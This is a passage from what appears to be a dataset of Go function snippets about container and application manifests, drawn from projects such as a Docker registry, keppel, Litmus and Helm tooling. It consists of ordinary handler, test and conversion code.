utils.Config.EventTrackerImage, -1)\n\t\tnewContent = strings.Replace(newContent, \"#{INFRA_NAMESPACE}\", InfraNamespace, -1)\n\t\tnewContent = strings.Replace(newContent, \"#{SUBSCRIBER_SERVICE_ACCOUNT}\", ServiceAccountName, -1)\n\t\tnewContent = strings.Replace(newContent, \"#{INFRA_SCOPE}\", infra.InfraScope, -1)\n\t\tnewContent = strings.Replace(newContent, \"#{ARGO_WORKFLOW_CONTROLLER}\", utils.Config.ArgoWorkflowControllerImage, -1)\n\t\tnewContent = strings.Replace(newContent, \"#{LITMUS_CHAOS_OPERATOR}\", utils.Config.LitmusChaosOperatorImage, -1)\n\t\tnewContent = strings.Replace(newContent, \"#{ARGO_WORKFLOW_EXECUTOR}\", utils.Config.ArgoWorkflowExecutorImage, -1)\n\t\tnewContent = strings.Replace(newContent, \"#{LITMUS_CHAOS_RUNNER}\", utils.Config.LitmusChaosRunnerImage, -1)\n\t\tnewContent = strings.Replace(newContent, \"#{LITMUS_CHAOS_EXPORTER}\", utils.Config.LitmusChaosExporterImage, -1)\n\t\tnewContent = strings.Replace(newContent, \"#{ARGO_CONTAINER_RUNTIME_EXECUTOR}\", utils.Config.ContainerRuntimeExecutor, -1)\n\t\tnewContent = strings.Replace(newContent, \"#{INFRA_DEPLOYMENTS}\", utils.Config.InfraDeployments, -1)\n\t\tnewContent = strings.Replace(newContent, \"#{VERSION}\", utils.Config.Version, -1)\n\t\tnewContent = strings.Replace(newContent, \"#{SKIP_SSL_VERIFY}\", skipSSL, -1)\n\t\tnewContent = strings.Replace(newContent, \"#{CUSTOM_TLS_CERT}\", config.TLSCert, -1)\n\n\t\tnewContent = strings.Replace(newContent, \"#{START_TIME}\", \"\\\"\"+infra.StartTime+\"\\\"\", -1)\n\t\tif infra.IsInfraConfirmed == true {\n\t\t\tnewContent = strings.Replace(newContent, \"#{IS_INFRA_CONFIRMED}\", \"\\\"\"+\"true\"+\"\\\"\", -1)\n\t\t} else {\n\t\t\tnewContent = strings.Replace(newContent, \"#{IS_INFRA_CONFIRMED}\", \"\\\"\"+\"false\"+\"\\\"\", -1)\n\t\t}\n\n\t\tif infra.NodeSelector != nil {\n\t\t\tnewContent = strings.Replace(newContent, \"#{NODE_SELECTOR}\", nodeselector, -1)\n\t\t}\n\t\tgeneratedYAML = append(generatedYAML, newContent)\n\t}\n\n\treturn []byte(strings.Join(generatedYAML, \"\\n\")), nil\n}", "func (s *manifestServer) ManifestCreate(ctx context.Context, in *pb.ManifestCreateRequest) (*pb.ManifestCreateResponse, error) {\n\tdb := s.DB\n\tresponse := pb.ManifestCreateResponse{}\n\n\tappInstance, err := resource.GetAppInstanceById(in.AppInstanceId, db)\n\tif err != nil {\n\t\treturn &response, err\n\t}\n\n\tif appInstance.Enable == false {\n\t\treturn &response, ErrAppInstanceDisabled\n\t}\n\n\tchartVersion, err := resource.GetChartVersionById(appInstance.ChartVersionId, db)\n\tif err != nil {\n\t\treturn &response, err\n\t}\n\n\th, err := helm.NewHelm()\n\tif err != nil {\n\t\treturn &response, err\n\t}\n\n\tconfig, err := s.getManifestConfig(appInstance)\n\tif err != nil {\n\t\treturn &response, err\n\t}\n\n\tconfigPath, err := utils.WriteTempFile(config, \"config\")\n\tif err != nil {\n\t\treturn &response, err\n\t}\n\n\n\tartifact, err := h.CreateManifest(chartVersion.Repo, chartVersion.Version, configPath)\n\tif err != nil {\n\t\treturn &response, err\n\t}\n\n\tresponse.Artifact = artifact\n\n\treturn &response, nil\n}", "func UpdateManifest(m Manifests, root string, paths []string, id flux.ResourceID, f func(manifest []byte) ([]byte, error)) error {\n\tresources, err := m.LoadManifests(root, paths)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tresource, ok := resources[id.String()]\n\tif !ok {\n\t\treturn ErrResourceNotFound(id.String())\n\t}\n\n\tpath := filepath.Join(root, resource.Source())\n\tdef, err := ioutil.ReadFile(path)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tnewDef, err := f(def)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfi, err := os.Stat(path)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn ioutil.WriteFile(path, newDef, fi.Mode())\n}", "func seedRandomSchema2Manifest(t *testing.T, env *testEnv, repoPath string, opts ...manifestOptsFunc) *schema2.DeserializedManifest {\n\tt.Helper()\n\n\tconfig := &manifestOpts{\n\t\trepoPath: repoPath,\n\t}\n\n\tfor _, o := range opts {\n\t\to(t, env, config)\n\t}\n\n\tif config.writeToFilesystemOnly {\n\t\tenv.config.Database.Enabled = false\n\t\tdefer func() { env.config.Database.Enabled = true }()\n\t}\n\n\trepoRef, err := reference.WithName(repoPath)\n\trequire.NoError(t, err)\n\n\tmanifest := &schema2.Manifest{\n\t\tVersioned: manifest.Versioned{\n\t\t\tSchemaVersion: 2,\n\t\t\tMediaType: schema2.MediaTypeManifest,\n\t\t},\n\t}\n\n\t// Create a manifest config and push up its content.\n\tcfgPayload, cfgDesc := schema2Config()\n\tuploadURLBase, _ := startPushLayer(t, env, repoRef)\n\tpushLayer(t, env.builder, repoRef, cfgDesc.Digest, uploadURLBase, bytes.NewReader(cfgPayload))\n\tmanifest.Config = cfgDesc\n\n\t// Create and push up 2 random layers.\n\tmanifest.Layers = make([]distribution.Descriptor, 2)\n\n\tfor i := range manifest.Layers {\n\t\trs, dgst := createRandomSmallLayer()\n\n\t\tuploadURLBase, _ := startPushLayer(t, env, repoRef)\n\t\tpushLayer(t, env.builder, repoRef, dgst, uploadURLBase, rs)\n\n\t\tmanifest.Layers[i] = distribution.Descriptor{\n\t\t\tDigest: dgst,\n\t\t\tMediaType: schema2.MediaTypeLayer,\n\t\t}\n\t}\n\n\tdeserializedManifest, err := schema2.FromStruct(*manifest)\n\trequire.NoError(t, err)\n\n\tif config.putManifest {\n\t\tmanifestDigestURL := buildManifestDigestURL(t, env, repoPath, deserializedManifest)\n\n\t\tif config.manifestURL == \"\" {\n\t\t\tconfig.manifestURL = manifestDigestURL\n\t\t}\n\n\t\tresp := putManifest(t, \"putting manifest no error\", config.manifestURL, schema2.MediaTypeManifest, deserializedManifest.Manifest)\n\t\tdefer resp.Body.Close()\n\t\trequire.Equal(t, http.StatusCreated, resp.StatusCode)\n\t\trequire.Equal(t, \"nosniff\", resp.Header.Get(\"X-Content-Type-Options\"))\n\t\trequire.Equal(t, manifestDigestURL, resp.Header.Get(\"Location\"))\n\n\t\t_, payload, err := deserializedManifest.Payload()\n\t\trequire.NoError(t, err)\n\t\tdgst := digest.FromBytes(payload)\n\t\trequire.Equal(t, dgst.String(), resp.Header.Get(\"Docker-Content-Digest\"))\n\t}\n\n\treturn deserializedManifest\n}", "func cleanupMimeTypeByMagic(mimetype string) (string, map[string]string) {\n\tmediatype, params, err := mime.ParseMediaType(mimetype)\n\tif err != nil {\n\t\t// libmagic should always return a properly formed MIME type,\n\t\t// so this should never happen.\n\t\t// One exception is if we don't have permissions to read the file.\n\t\tlog.Printf(\"WARNING: libmagic returned improperly formed MIME type %#v\", mimetype)\n\t\treturn OctetStream, nil\n\t}\n\n\t// We don't care if it's empty, it should still use a standard MIME type.\n\tif mediatype == \"inode/x-empty\" {\n\t\treturn OctetStream, nil\n\t}\n\n\t// There is no binary charset, even for types that actually have a charset param.\n\t// It's an annoying artifact of libmagic.\n\tif params[\"charset\"] == \"binary\" {\n\t\tdelete(params, \"charset\")\n\t}\n\n\treturn mediatype, params\n}", "func (imh *manifestHandler) PutManifest(w http.ResponseWriter, r *http.Request) {\n\tdcontext.GetLogger(imh).Debug(\"PutImageManifest\")\n\tmanifests, err := imh.Repository.Manifests(imh)\n\tif err != nil {\n\t\timh.Errors = append(imh.Errors, err)\n\t\treturn\n\t}\n\n\tvar jsonBuf bytes.Buffer\n\tif err := copyFullPayload(imh, w, r, &jsonBuf, maxManifestBodySize, \"image manifest PUT\"); err != nil {\n\t\t// copyFullPayload reports the error if necessary\n\t\timh.Errors = append(imh.Errors, v2.ErrorCodeManifestInvalid.WithDetail(err.Error()))\n\t\treturn\n\t}\n\n\tmediaType := r.Header.Get(\"Content-Type\")\n\tmanifest, desc, err := distribution.UnmarshalManifest(mediaType, jsonBuf.Bytes())\n\tif err != nil {\n\t\timh.Errors = append(imh.Errors, v2.ErrorCodeManifestInvalid.WithDetail(err))\n\t\treturn\n\t}\n\n\tif imh.Digest != \"\" {\n\t\tif desc.Digest != imh.Digest {\n\t\t\tdcontext.GetLogger(imh).Errorf(\"payload digest does not match: %q != %q\", desc.Digest, imh.Digest)\n\t\t\timh.Errors = append(imh.Errors, v2.ErrorCodeDigestInvalid)\n\t\t\treturn\n\t\t}\n\t} else if imh.Tag != \"\" {\n\t\timh.Digest = desc.Digest\n\t} else {\n\t\timh.Errors = append(imh.Errors, v2.ErrorCodeTagInvalid.WithDetail(\"no tag or digest specified\"))\n\t\treturn\n\t}\n\n\tisAnOCIManifest := mediaType == v1.MediaTypeImageManifest || mediaType == v1.MediaTypeImageIndex\n\n\tif isAnOCIManifest {\n\t\tdcontext.GetLogger(imh).Debug(\"Putting an OCI Manifest!\")\n\t} else {\n\t\tdcontext.GetLogger(imh).Debug(\"Putting a Docker Manifest!\")\n\t}\n\n\tvar options []distribution.ManifestServiceOption\n\tif imh.Tag != \"\" {\n\t\toptions = append(options, distribution.WithTag(imh.Tag))\n\t}\n\n\tif err := imh.applyResourcePolicy(manifest); err != nil {\n\t\timh.Errors = append(imh.Errors, err)\n\t\treturn\n\t}\n\n\t_, err = manifests.Put(imh, manifest, options...)\n\tif err != nil {\n\t\t// TODO(stevvooe): These error handling switches really need to be\n\t\t// handled by an app global mapper.\n\t\tif err == distribution.ErrUnsupported {\n\t\t\timh.Errors = append(imh.Errors, errcode.ErrorCodeUnsupported)\n\t\t\treturn\n\t\t}\n\t\tif err == distribution.ErrAccessDenied {\n\t\t\timh.Errors = append(imh.Errors, errcode.ErrorCodeDenied)\n\t\t\treturn\n\t\t}\n\t\tswitch err := err.(type) {\n\t\tcase distribution.ErrManifestVerification:\n\t\t\tfor _, verificationError := range err {\n\t\t\t\tswitch verificationError := verificationError.(type) {\n\t\t\t\tcase distribution.ErrManifestBlobUnknown:\n\t\t\t\t\timh.Errors = append(imh.Errors, v2.ErrorCodeManifestBlobUnknown.WithDetail(verificationError.Digest))\n\t\t\t\tcase distribution.ErrManifestNameInvalid:\n\t\t\t\t\timh.Errors = append(imh.Errors, v2.ErrorCodeNameInvalid.WithDetail(err))\n\t\t\t\tcase distribution.ErrManifestUnverified:\n\t\t\t\t\timh.Errors = append(imh.Errors, v2.ErrorCodeManifestUnverified)\n\t\t\t\tdefault:\n\t\t\t\t\tif verificationError == digest.ErrDigestInvalidFormat {\n\t\t\t\t\t\timh.Errors = append(imh.Errors, v2.ErrorCodeDigestInvalid)\n\t\t\t\t\t} else {\n\t\t\t\t\t\timh.Errors = append(imh.Errors, errcode.ErrorCodeUnknown, verificationError)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\tcase errcode.Error:\n\t\t\timh.Errors = append(imh.Errors, err)\n\t\tdefault:\n\t\t\timh.Errors = append(imh.Errors, errcode.ErrorCodeUnknown.WithDetail(err))\n\t\t}\n\t\treturn\n\t}\n\n\t// Tag this manifest\n\tif imh.Tag != \"\" {\n\t\ttags := imh.Repository.Tags(imh)\n\t\terr = tags.Tag(imh, imh.Tag, desc)\n\t\tif err != nil {\n\t\t\timh.Errors = append(imh.Errors, errcode.ErrorCodeUnknown.WithDetail(err))\n\t\t\treturn\n\t\t}\n\n\t}\n\n\t// Construct a canonical url for the uploaded manifest.\n\tref, err := reference.WithDigest(imh.Repository.Named(), imh.Digest)\n\tif err != nil {\n\t\timh.Errors = append(imh.Errors, errcode.ErrorCodeUnknown.WithDetail(err))\n\t\treturn\n\t}\n\n\tlocation, err := imh.urlBuilder.BuildManifestURL(ref)\n\tif err != nil {\n\t\t// NOTE(stevvooe): Given the behavior above, this absurdly unlikely to\n\t\t// happen. We'll log the error here but proceed as if it worked. Worst\n\t\t// case, we set an empty location header.\n\t\tdcontext.GetLogger(imh).Errorf(\"error building manifest url from digest: %v\", err)\n\t}\n\n\tw.Header().Set(\"Location\", location)\n\tw.Header().Set(\"Docker-Content-Digest\", imh.Digest.String())\n\tw.WriteHeader(http.StatusCreated)\n\n\tdcontext.GetLogger(imh).Debug(\"Succeeded in putting manifest!\")\n}", "func buildManifestResourceMeta(\n\tindex int,\n\tmanifest workapiv1.Manifest,\n\trestMapper meta.RESTMapper) (resourceMeta workapiv1.ManifestResourceMeta, gvr schema.GroupVersionResource, err error) {\n\terrs := []error{}\n\n\tvar object runtime.Object\n\n\t// try to get resource meta from manifest if the one got from apply result is incompleted\n\tswitch {\n\tcase manifest.Object != nil:\n\t\tobject = manifest.Object\n\tdefault:\n\t\tunstructuredObj := &unstructured.Unstructured{}\n\t\tif err = unstructuredObj.UnmarshalJSON(manifest.Raw); err != nil {\n\t\t\terrs = append(errs, err)\n\t\t\treturn resourceMeta, gvr, utilerrors.NewAggregate(errs)\n\t\t}\n\t\tobject = unstructuredObj\n\t}\n\tresourceMeta, gvr, err = buildResourceMeta(index, object, restMapper)\n\tif err == nil {\n\t\treturn resourceMeta, gvr, nil\n\t}\n\n\treturn resourceMeta, gvr, utilerrors.NewAggregate(errs)\n}", "func (b *Backend) ManifestAnnotate(ctx context.Context, req *pb.ManifestAnnotateRequest) (*gogotypes.Empty, error) {\n\tvar emptyResp = &gogotypes.Empty{}\n\n\tif !b.daemon.opts.Experimental {\n\t\treturn emptyResp, errors.New(\"please enable experimental to use manifest feature\")\n\t}\n\n\tlogrus.WithFields(logrus.Fields{\n\t\t\"ManifestList\": req.GetManifestList(),\n\t\t\"Manifest\": req.GetManifest(),\n\t}).Info(\"ManifestAnnotateRequest received\")\n\n\tmanifestName := req.GetManifestList()\n\tmanifestImage := req.GetManifest()\n\timageOS := req.GetOs()\n\timageArch := req.GetArch()\n\timageOSFeature := req.GetOsFeatures()\n\timageVariant := req.GetVariant()\n\n\t// get list image\n\t_, listImage, err := image.FindImage(b.daemon.localStore, manifestName)\n\tif err != nil {\n\t\treturn emptyResp, err\n\t}\n\n\t// load list from list image\n\t_, list, err := loadListFromImage(b.daemon.localStore, listImage.ID)\n\tif err != nil {\n\t\treturn emptyResp, err\n\t}\n\n\t// add image to list, if image already exists, it will be substituted\n\tinstanceDigest, err := list.addImage(ctx, b.daemon.localStore, manifestImage)\n\tif err != nil {\n\t\treturn emptyResp, err\n\t}\n\n\t// modify image platform if user specifies\n\tfor i := range list.docker.Manifests {\n\t\tif list.docker.Manifests[i].Digest == instanceDigest {\n\t\t\tif imageOS != \"\" {\n\t\t\t\tlist.docker.Manifests[i].Platform.OS = imageOS\n\t\t\t}\n\t\t\tif imageArch != \"\" {\n\t\t\t\tlist.docker.Manifests[i].Platform.Architecture = imageArch\n\t\t\t}\n\t\t\tif len(imageOSFeature) > 0 {\n\t\t\t\tlist.docker.Manifests[i].Platform.OSFeatures = append([]string{}, imageOSFeature...)\n\t\t\t}\n\t\t\tif imageVariant != \"\" {\n\t\t\t\tlist.docker.Manifests[i].Platform.Variant = imageVariant\n\t\t\t}\n\t\t}\n\t}\n\n\t// save list to image\n\t_, err = list.saveListToImage(b.daemon.localStore, listImage.ID, \"\", manifest.DockerV2ListMediaType)\n\n\treturn emptyResp, err\n}", "func (p *Processor) ReplicateManifest(ctx context.Context, account keppel.Account, repo keppel.Repository, reference models.ManifestReference, actx keppel.AuditContext) (*keppel.Manifest, []byte, error) {\n\tmanifestBytes, manifestMediaType, err := p.downloadManifestViaInboundCache(ctx, account, repo, reference)\n\tif err != nil {\n\t\tif errorIsManifestNotFound(err) {\n\t\t\treturn nil, nil, UpstreamManifestMissingError{reference, err}\n\t\t}\n\t\treturn nil, nil, err\n\t}\n\n\t//parse the manifest to discover references to other manifests and blobs\n\tmanifestParsed, _, err := keppel.ParseManifest(manifestMediaType, manifestBytes)\n\tif err != nil {\n\t\treturn nil, nil, keppel.ErrManifestInvalid.With(err.Error())\n\t}\n\n\t//replicate referenced manifests recursively if required\n\tfor _, desc := range manifestParsed.ManifestReferences(account.PlatformFilter) {\n\t\t_, err := keppel.FindManifest(p.db, repo, desc.Digest)\n\t\tif errors.Is(err, sql.ErrNoRows) {\n\t\t\t_, _, err = p.ReplicateManifest(ctx, account, repo, models.ManifestReference{Digest: desc.Digest}, actx)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\t}\n\n\t//mark all missing blobs as pending replication\n\tfor _, desc := range manifestParsed.BlobReferences() {\n\t\t//mark referenced blobs as pending replication if not replicated yet\n\t\tblob, err := p.FindBlobOrInsertUnbackedBlob(desc, account)\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\t\t//also ensure that the blob is mounted in this repo (this is also\n\t\t//important if the blob exists; it may only have been replicated in a\n\t\t//different repo)\n\t\terr = keppel.MountBlobIntoRepo(p.db, *blob, repo)\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\t}\n\n\t//if the manifest is an image, we need to replicate the image configuration\n\t//blob immediately because ValidateAndStoreManifest() uses it for validation\n\t//purposes\n\tconfigBlobDesc := manifestParsed.FindImageConfigBlob()\n\tif configBlobDesc != nil {\n\t\tconfigBlob, err := keppel.FindBlobByAccountName(p.db, configBlobDesc.Digest, account)\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\t\tif configBlob.StorageID == \"\" {\n\t\t\t_, err = p.ReplicateBlob(ctx, *configBlob, account, repo, nil)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, nil, err\n\t\t\t}\n\t\t}\n\t}\n\n\tmanifest, err := p.ValidateAndStoreManifest(account, repo, IncomingManifest{\n\t\tReference: reference,\n\t\tMediaType: manifestMediaType,\n\t\tContents: manifestBytes,\n\t\tPushedAt: p.timeNow(),\n\t}, actx)\n\treturn manifest, manifestBytes, err\n}", "func UploadSchema2Image(ctx context.Context, repo distribution.Repository, tag string) (distribution.Manifest, error) {\n\tconst layersCount = 2\n\n\tlayers := make([]distribution.Descriptor, layersCount)\n\tfor i := range layers {\n\t\tcontent, desc, err := MakeRandomLayer()\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"make random layer: %w\", err)\n\t\t}\n\n\t\tif err := UploadBlob(ctx, repo, desc, content); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"upload random blob: %w\", err)\n\t\t}\n\n\t\tlayers[i] = desc\n\t}\n\n\tcfg := map[string]interface{}{\n\t\t\"rootfs\": map[string]interface{}{\n\t\t\t\"diff_ids\": make([]string, len(layers)),\n\t\t},\n\t\t\"history\": make([]struct{}, len(layers)),\n\t}\n\n\tconfigContent, err := json.Marshal(&cfg)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"marshal image config: %w\", err)\n\t}\n\n\tconfig := distribution.Descriptor{\n\t\tDigest: digest.FromBytes(configContent),\n\t\tSize: int64(len(configContent)),\n\t}\n\n\tif err := UploadBlob(ctx, repo, config, configContent); err != nil {\n\t\treturn nil, fmt.Errorf(\"upload image config: %w\", err)\n\t}\n\n\tmanifest, err := MakeSchema2Manifest(config, layers)\n\tif err != nil {\n\t\treturn manifest, fmt.Errorf(\"make schema 2 manifest: %w\", err)\n\t}\n\n\tif err := UploadManifest(ctx, repo, tag, manifest); err != nil {\n\t\treturn manifest, fmt.Errorf(\"upload schema 2 manifest: %w\", err)\n\t}\n\n\treturn manifest, nil\n}", "func buildManifest(name, tag, layerDigest string) (io.Reader, error) {\n\tmapping := map[string]interface{}{\n\t\t\"schemaVersion\": 1,\n\t\t\"name\": name,\n\t\t\"tag\": tag,\n\t\t\"architecture\": \"amd64\",\n\t\t\"fsLayers\": []map[string]interface{}{\n\t\t\tmap[string]interface{}{\n\t\t\t\t\"blobSum\": \"sha256:\" + layerDigest,\n\t\t\t},\n\t\t},\n\t\t\"history\": []map[string]string{\n\t\t\tmap[string]string{\n\t\t\t\t\"v1Compatibility\": fmt.Sprintf(`{\n\t\t\t\t\t\"architecture\": \"amd64\",\n\t\t\t\t\t\"config\": {\n\t\t\t\t\t\t\"Entrypoint\": [\"/entrypoint\"]\n\t\t\t\t\t},\n\t\t\t\t\t\"id\": \"%s\"\n\t\t\t\t}`, layerDigest),\n\t\t\t},\n\t\t},\n\t}\n\tsig, err := libtrust.NewJSONSignatureFromMap(mapping)\n\tif err != nil {\n\t\tfmt.Printf(\"Failed to make JSON sig: %s\\n\", err)\n\t\treturn nil, err\n\t}\n\n\trsaKey, err := rsa.GenerateKey(rand.Reader, 1024)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tkey, err := libtrust.FromCryptoPrivateKey(rsaKey)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\terr = sig.Sign(key)\n\tif err != nil {\n\t\tfmt.Printf(\"Failed to sign: %s\\n\", err)\n\t\treturn nil, err\n\t}\n\n\tblob, err := sig.PrettySignature(\"signatures\")\n\tif err != nil {\n\t\tfmt.Printf(\"Failed to add sig: %s\\n\", err)\n\t\treturn nil, err\n\t}\n\n\tfmt.Printf(\"%s\\n\", string(blob))\n\treturn bytes.NewReader(blob), nil\n}", "func (manifest *AppManifest) ConvertToMetadataApp() *MetadataApp {\n\tapp := MetadataApp{\n\t\tID: manifest.ServiceName,\n\t\tDependencies: manifest.Dependencies,\n\t\tEntries: manifest.Entrypoints,\n\t\tRenders: manifest.Renders,\n\t\tExtra: globalSiteConfig.SafeExtra(manifest.Extra),\n\t}\n\n\treturn &app\n}", "func (m *Manifest) UnmarshalJSON(data []byte) error {\n\taux := &manifestAux{\n\t\tABI: &m.ABI,\n\t\tTrusts: &m.Trusts,\n\t\tSafeMethods: &m.SafeMethods,\n\t}\n\n\tif err := json.Unmarshal(data, aux); err != nil {\n\t\treturn err\n\t}\n\n\tif aux.Features[\"storage\"] {\n\t\tm.Features |= smartcontract.HasStorage\n\t}\n\tif aux.Features[\"payable\"] {\n\t\tm.Features |= smartcontract.IsPayable\n\t}\n\n\tm.Groups = aux.Groups\n\tm.Permissions = aux.Permissions\n\tm.SupportedStandards = aux.SupportedStandards\n\tm.Extra = aux.Extra\n\n\treturn nil\n}", "func MakeSchema1Manifest(digests []digest.Digest) (distribution.Manifest, error) {\n\tmanifest := schema1.Manifest{\n\t\tVersioned: manifest.Versioned{\n\t\t\tSchemaVersion: 1,\n\t\t},\n\t\tName: \"who\",\n\t\tTag: \"cares\",\n\t}\n\n\tfor _, digest := range digests {\n\t\tmanifest.FSLayers = append(manifest.FSLayers, schema1.FSLayer{BlobSum: digest})\n\t\tmanifest.History = append(manifest.History, schema1.History{V1Compatibility: \"\"})\n\t}\n\n\tpk, err := libtrust.GenerateECP256PrivateKey()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"unexpected error generating private key: %v\", err)\n\t}\n\n\tsignedManifest, err := schema1.Sign(&manifest, pk)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error signing manifest: %v\", err)\n\t}\n\n\treturn signedManifest, nil\n}", "func readManifest(file string) (*sbox_proto.Manifest, error) {\n\tmanifestData, err := ioutil.ReadFile(file)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error reading manifest %q: %w\", file, err)\n\t}\n\n\tmanifest := sbox_proto.Manifest{}\n\n\terr = proto.UnmarshalText(string(manifestData), &manifest)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error parsing manifest %q: %w\", file, err)\n\t}\n\n\treturn &manifest, nil\n}", "func EncodingFormatFromMimeType(s string) EncodingFormat {\n\tswitch s {\n\tcase \"application/csv\":\n\t\treturn EncodingFormatAppCSV\n\tcase \"text/csv\":\n\t\treturn EncodingFormatTextCSV\n\tcase \"application/x-msgpack\":\n\t\treturn EncodingFormatMessagePack\n\tdefault:\n\t\treturn EncodingFormatJSON\n\t}\n}", "func (policy *StorageAccounts_ManagementPolicy_Spec) ConvertSpecTo(destination genruntime.ConvertibleSpec) error {\n\tdst, ok := destination.(*v20220901s.StorageAccounts_ManagementPolicy_Spec)\n\tif ok {\n\t\t// Populate destination from our instance\n\t\treturn policy.AssignProperties_To_StorageAccounts_ManagementPolicy_Spec(dst)\n\t}\n\n\t// Convert to an intermediate form\n\tdst = &v20220901s.StorageAccounts_ManagementPolicy_Spec{}\n\terr := policy.AssignProperties_To_StorageAccounts_ManagementPolicy_Spec(dst)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"initial step of conversion in ConvertSpecTo()\")\n\t}\n\n\t// Update dst from our instance\n\terr = dst.ConvertSpecTo(destination)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"final step of conversion in ConvertSpecTo()\")\n\t}\n\n\treturn nil\n}", "func WriteManifest(manifestWriter io.Writer, compression *pwr.CompressionSettings, container *tlc.Container, blockHashes *BlockHashMap) error {\n\trawWire := wire.NewWriteContext(manifestWriter)\n\terr := rawWire.WriteMagic(pwr.ManifestMagic)\n\tif err != nil {\n\t\treturn errors.WithStack(err)\n\t}\n\n\terr = rawWire.WriteMessage(&pwr.ManifestHeader{\n\t\tCompression: compression,\n\t\tAlgorithm: pwr.HashAlgorithm_SHAKE128_32,\n\t})\n\tif err != nil {\n\t\treturn errors.WithStack(err)\n\t}\n\n\twire, err := pwr.CompressWire(rawWire, compression)\n\tif err != nil {\n\t\treturn errors.WithStack(err)\n\t}\n\n\terr = wire.WriteMessage(container)\n\tif err != nil {\n\t\treturn errors.WithStack(err)\n\t}\n\n\tsh := &pwr.SyncHeader{}\n\tmbh := &pwr.ManifestBlockHash{}\n\n\tfor fileIndex, f := range container.Files {\n\t\tsh.Reset()\n\t\tsh.FileIndex = int64(fileIndex)\n\t\terr = wire.WriteMessage(sh)\n\t\tif err != nil {\n\t\t\treturn errors.WithStack(err)\n\t\t}\n\n\t\tnumBlocks := ComputeNumBlocks(f.Size)\n\n\t\tfor blockIndex := int64(0); blockIndex < numBlocks; blockIndex++ {\n\t\t\tloc := BlockLocation{FileIndex: int64(fileIndex), BlockIndex: blockIndex}\n\t\t\thash := blockHashes.Get(loc)\n\t\t\tif hash == nil {\n\t\t\t\terr = fmt.Errorf(\"missing BlockHash for block %+v\", loc)\n\t\t\t\treturn errors.WithStack(err)\n\t\t\t}\n\n\t\t\tmbh.Reset()\n\t\t\tmbh.Hash = hash\n\n\t\t\terr = wire.WriteMessage(mbh)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.WithStack(err)\n\t\t\t}\n\t\t}\n\t}\n\n\terr = wire.Close()\n\tif err != nil {\n\t\treturn errors.WithStack(err)\n\t}\n\n\treturn nil\n}", "func (policy *StorageAccounts_ManagementPolicy_Spec) ConvertSpecTo(destination genruntime.ConvertibleSpec) error {\n\tdst, ok := destination.(*v1beta20210401s.StorageAccounts_ManagementPolicy_Spec)\n\tif ok {\n\t\t// Populate destination from our instance\n\t\treturn policy.AssignProperties_To_StorageAccounts_ManagementPolicy_Spec(dst)\n\t}\n\n\t// Convert to an intermediate form\n\tdst = &v1beta20210401s.StorageAccounts_ManagementPolicy_Spec{}\n\terr := policy.AssignProperties_To_StorageAccounts_ManagementPolicy_Spec(dst)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"initial step of conversion in ConvertSpecTo()\")\n\t}\n\n\t// Update dst from our instance\n\terr = dst.ConvertSpecTo(destination)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"final step of conversion in ConvertSpecTo()\")\n\t}\n\n\treturn nil\n}", "func (d *swiftDriver) WriteManifest(account keppel.Account, repoName string, manifestDigest digest.Digest, contents []byte) error {\n\tc, _, err := d.getBackendConnection(account)\n\tif err != nil {\n\t\treturn err\n\t}\n\to := manifestObject(c, repoName, manifestDigest)\n\treturn uploadToObject(o, bytes.NewReader(contents), nil, nil)\n}", "func TestGenerateManifest(t *testing.T) {\n\tsvcat := buildRootCommand(newContext())\n\n\tm := &plugin.Manifest{}\n\tm.Load(svcat)\n\n\tgot, err := yaml.Marshal(&m)\n\tif err != nil {\n\t\tt.Fatalf(\"%+v\", err)\n\t}\n\n\ttest.AssertEqualsGoldenFile(t, \"plugin.yaml\", string(got))\n}", "func (m *Manifest) Replace(manifestPath string) error {\n\tfinfo, err := os.Stat(manifestPath)\n\tswitch {\n\tcase os.IsNotExist(err):\n\t\treturn fmt.Errorf(\"no such file or directory: %s\", manifestPath)\n\tcase err != nil:\n\t\treturn err\n\tcase finfo.IsDir():\n\t\treturn fmt.Errorf(\"%s is a directory\", manifestPath)\n\tdefault:\n\t\tbreak\n\t}\n\n\tmanblob, err := ioutil.ReadFile(manifestPath)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = m.manifest.UnmarshalJSON(manblob)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn m.save()\n}", "func (ms *schema2ManifestHandler) verifyManifest(ctx context.Context, mnfst schema2.DeserializedManifest, skipDependencyVerification bool) error {\n\tvar errs distribution.ErrManifestVerification\n\n\tif mnfst.Manifest.SchemaVersion != 2 {\n\t\treturn fmt.Errorf(\"unrecognized manifest schema version %d\", mnfst.Manifest.SchemaVersion)\n\t}\n\n\tif skipDependencyVerification {\n\t\treturn nil\n\t}\n\n\tmanifestService, err := ms.repository.Manifests(ctx)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tblobsService := ms.repository.Blobs(ctx)\n\n\tfor _, descriptor := range mnfst.References() {\n\t\tvar err error\n\n\t\tswitch descriptor.MediaType {\n\t\tcase schema2.MediaTypeForeignLayer:\n\t\t\t// Clients download this layer from an external URL, so do not check for\n\t\t\t// its presence.\n\t\t\tif len(descriptor.URLs) == 0 {\n\t\t\t\terr = errMissingURL\n\t\t\t}\n\t\t\tallow := 